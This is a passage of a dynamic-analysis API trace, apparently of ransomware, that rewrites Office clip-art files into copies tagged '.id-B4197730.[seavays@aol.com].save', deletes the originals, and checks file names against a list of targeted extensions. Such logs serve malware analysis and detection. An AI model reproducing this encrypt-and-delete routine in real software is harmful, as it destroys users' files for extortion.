lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0193.789] SetEndOfFile (hFile=0x44c) returned 1 [0193.790] CloseHandle (hObject=0x44c) returned 1 [0193.790] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.790] SetEndOfFile (hFile=0x538) returned 1 [0193.793] CloseHandle (hObject=0x538) returned 1 [0193.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf")) returned 1 [0194.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0194.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0194.138] lstrlenW (lpString=".doc") returned 4 [0194.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.138] lstrlenW (lpString=".docx") returned 5 [0194.138] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0194.138] lstrlenW (lpString=".pdf") returned 4 [0194.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.138] lstrlenW (lpString=".xls") returned 4 [0194.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.138] lstrlenW (lpString=".xlsx") returned 5 [0194.138] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0194.138] lstrlenW (lpString=".ppt") returned 4 [0194.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0194.138] lstrlenW (lpString=".zip") returned 4 [0194.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.138] lstrlenW (lpString=".rar") returned 4 [0194.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.138] lstrlenW (lpString=".bz2") returned 4 [0194.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.139] lstrlenW (lpString=".7z") returned 3 [0194.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0194.139] lstrlenW (lpString=".dbf") returned 4 [0194.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0194.139] lstrlenW (lpString=".1cd") returned 4 [0194.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF") returned 68 [0194.139] lstrlenW (lpString=".jpg") returned 4 [0194.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0194.707] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=29602) returned 1 [0194.707] CloseHandle (hObject=0x564) returned 1 [0194.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf")) returned 0x220 [0195.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0195.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.507] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.507] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0195.510] GetLastError () returned 0x0 [0195.510] ReadFile (in: hFile=0x45c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x73a2, lpOverlapped=0x0) returned 1 [0195.514] WriteFile (in: hFile=0x458, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x73b0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x73b0, lpOverlapped=0x0) returned 1 [0195.515] ReadFile (in: hFile=0x45c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0195.516] WriteFile (in: hFile=0x458, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0195.516] SetEndOfFile (hFile=0x458) returned 1 [0195.516] CloseHandle (hObject=0x458) returned 1 [0195.516] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.516] SetEndOfFile (hFile=0x45c) returned 1 [0195.521] CloseHandle (hObject=0x45c) returned 1 [0195.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf")) returned 1 [0195.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0195.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0195.523] lstrlenW (lpString=".doc") returned 4 [0195.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.523] lstrlenW (lpString=".docx") returned 5 [0195.523] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0195.523] lstrlenW (lpString=".pdf") returned 4 [0195.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.523] lstrlenW (lpString=".xls") returned 4 [0195.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.523] lstrlenW (lpString=".xlsx") returned 5 [0195.523] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0195.523] lstrlenW (lpString=".ppt") returned 4 [0195.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0195.523] lstrlenW (lpString=".zip") returned 4 [0195.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.523] lstrlenW (lpString=".rar") returned 4 [0195.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.524] lstrlenW (lpString=".bz2") returned 4 [0195.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.524] lstrlenW (lpString=".7z") returned 3 [0195.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0195.524] lstrlenW (lpString=".dbf") returned 4 [0195.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0195.524] lstrlenW (lpString=".1cd") returned 4 [0195.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0195.524] lstrlenW (lpString=".jpg") returned 4 [0195.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.525] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.525] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0195.527] GetLastError () returned 0x0 [0195.527] ReadFile (in: hFile=0x45c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xbbc, lpOverlapped=0x0) returned 1 [0195.529] WriteFile (in: hFile=0x458, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xbc0, lpOverlapped=0x0) returned 1 [0195.530] ReadFile (in: hFile=0x45c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0195.530] WriteFile (in: hFile=0x458, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0195.530] SetEndOfFile (hFile=0x458) returned 1 [0195.530] CloseHandle (hObject=0x458) returned 1 [0195.530] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.530] SetEndOfFile (hFile=0x45c) returned 1 [0195.534] CloseHandle (hObject=0x45c) returned 1 [0195.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf")) returned 1 [0195.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0195.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0195.536] lstrlenW (lpString=".doc") returned 4 [0195.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.536] lstrlenW (lpString=".docx") returned 5 [0195.536] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.536] lstrlenW (lpString=".pdf") returned 4 [0195.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.536] lstrlenW (lpString=".xls") returned 4 [0195.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.536] lstrlenW (lpString=".xlsx") returned 5 [0195.536] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.536] lstrlenW (lpString=".ppt") returned 4 [0195.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0195.536] lstrlenW (lpString=".zip") returned 4 [0195.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.536] lstrlenW (lpString=".rar") returned 4 [0195.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.536] lstrlenW (lpString=".bz2") returned 4 [0195.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.536] lstrlenW (lpString=".7z") returned 3 [0195.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0195.537] lstrlenW (lpString=".dbf") returned 4 [0195.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0195.537] lstrlenW (lpString=".1cd") returned 4 [0195.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0195.537] lstrlenW (lpString=".jpg") returned 4 [0195.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.895] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.895] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.898] GetLastError () returned 0x0 [0195.898] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x128e, lpOverlapped=0x0) returned 1 [0195.900] WriteFile (in: hFile=0x45c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1290, lpOverlapped=0x0) returned 1 [0195.901] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0195.901] WriteFile (in: hFile=0x45c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0195.901] SetEndOfFile (hFile=0x45c) returned 1 [0195.902] CloseHandle (hObject=0x45c) returned 1 [0195.902] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.902] SetEndOfFile (hFile=0x554) returned 1 [0195.906] CloseHandle (hObject=0x554) returned 1 [0195.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196060.wmf")) returned 1 [0195.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0195.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0195.908] lstrlenW (lpString=".doc") returned 4 [0195.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.908] lstrlenW (lpString=".docx") returned 5 [0195.908] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.909] lstrlenW (lpString=".pdf") returned 4 [0195.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.909] lstrlenW (lpString=".xls") returned 4 [0195.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.909] lstrlenW (lpString=".xlsx") returned 5 [0195.909] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.909] lstrlenW (lpString=".ppt") returned 4 [0195.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0195.909] lstrlenW (lpString=".zip") returned 4 [0195.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.909] lstrlenW (lpString=".rar") returned 4 [0195.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.909] lstrlenW (lpString=".bz2") returned 4 [0195.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.909] lstrlenW (lpString=".7z") returned 3 [0195.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0195.909] lstrlenW (lpString=".dbf") returned 4 [0195.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0195.909] lstrlenW (lpString=".1cd") returned 4 [0195.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196060.WMF") returned 68 [0195.909] lstrlenW (lpString=".jpg") returned 4 [0195.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.912] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.912] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.914] GetLastError () returned 0x0 [0195.914] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xef2, lpOverlapped=0x0) returned 1 [0195.917] WriteFile (in: hFile=0x45c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xf00, lpOverlapped=0x0) returned 1 [0195.918] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0195.918] WriteFile (in: hFile=0x45c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0195.918] SetEndOfFile (hFile=0x45c) returned 1 [0195.919] CloseHandle (hObject=0x45c) returned 1 [0195.919] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0195.919] SetEndOfFile (hFile=0x554) returned 1 [0195.922] CloseHandle (hObject=0x554) returned 1 [0195.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196142.wmf")) returned 1 [0195.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0195.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0195.925] lstrlenW (lpString=".doc") returned 4 [0195.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.925] lstrlenW (lpString=".docx") returned 5 [0195.925] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.925] lstrlenW (lpString=".pdf") returned 4 [0195.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.925] lstrlenW (lpString=".xls") returned 4 [0195.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.925] lstrlenW (lpString=".xlsx") returned 5 [0195.925] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.925] lstrlenW (lpString=".ppt") returned 4 [0195.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0195.925] lstrlenW (lpString=".zip") returned 4 [0195.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.925] lstrlenW (lpString=".rar") returned 4 [0195.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.925] lstrlenW (lpString=".bz2") returned 4 [0195.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.926] lstrlenW (lpString=".7z") returned 3 [0195.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0195.926] lstrlenW (lpString=".dbf") returned 4 [0195.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0195.926] lstrlenW (lpString=".1cd") returned 4 [0195.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196142.WMF") returned 68 [0195.926] lstrlenW (lpString=".jpg") returned 4 [0195.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.083] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.083] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0197.087] GetLastError () returned 0x0 [0197.087] ReadFile (in: hFile=0x510, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x3586, lpOverlapped=0x0) returned 1 [0197.091] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x3590, lpOverlapped=0x0) returned 1 [0197.093] ReadFile (in: hFile=0x510, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0197.094] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0197.094] SetEndOfFile (hFile=0x548) returned 1 [0197.094] CloseHandle (hObject=0x548) returned 1 [0197.094] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.094] SetEndOfFile (hFile=0x510) returned 1 [0197.098] CloseHandle (hObject=0x510) returned 1 [0197.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf")) returned 1 [0197.100] lstrlenW 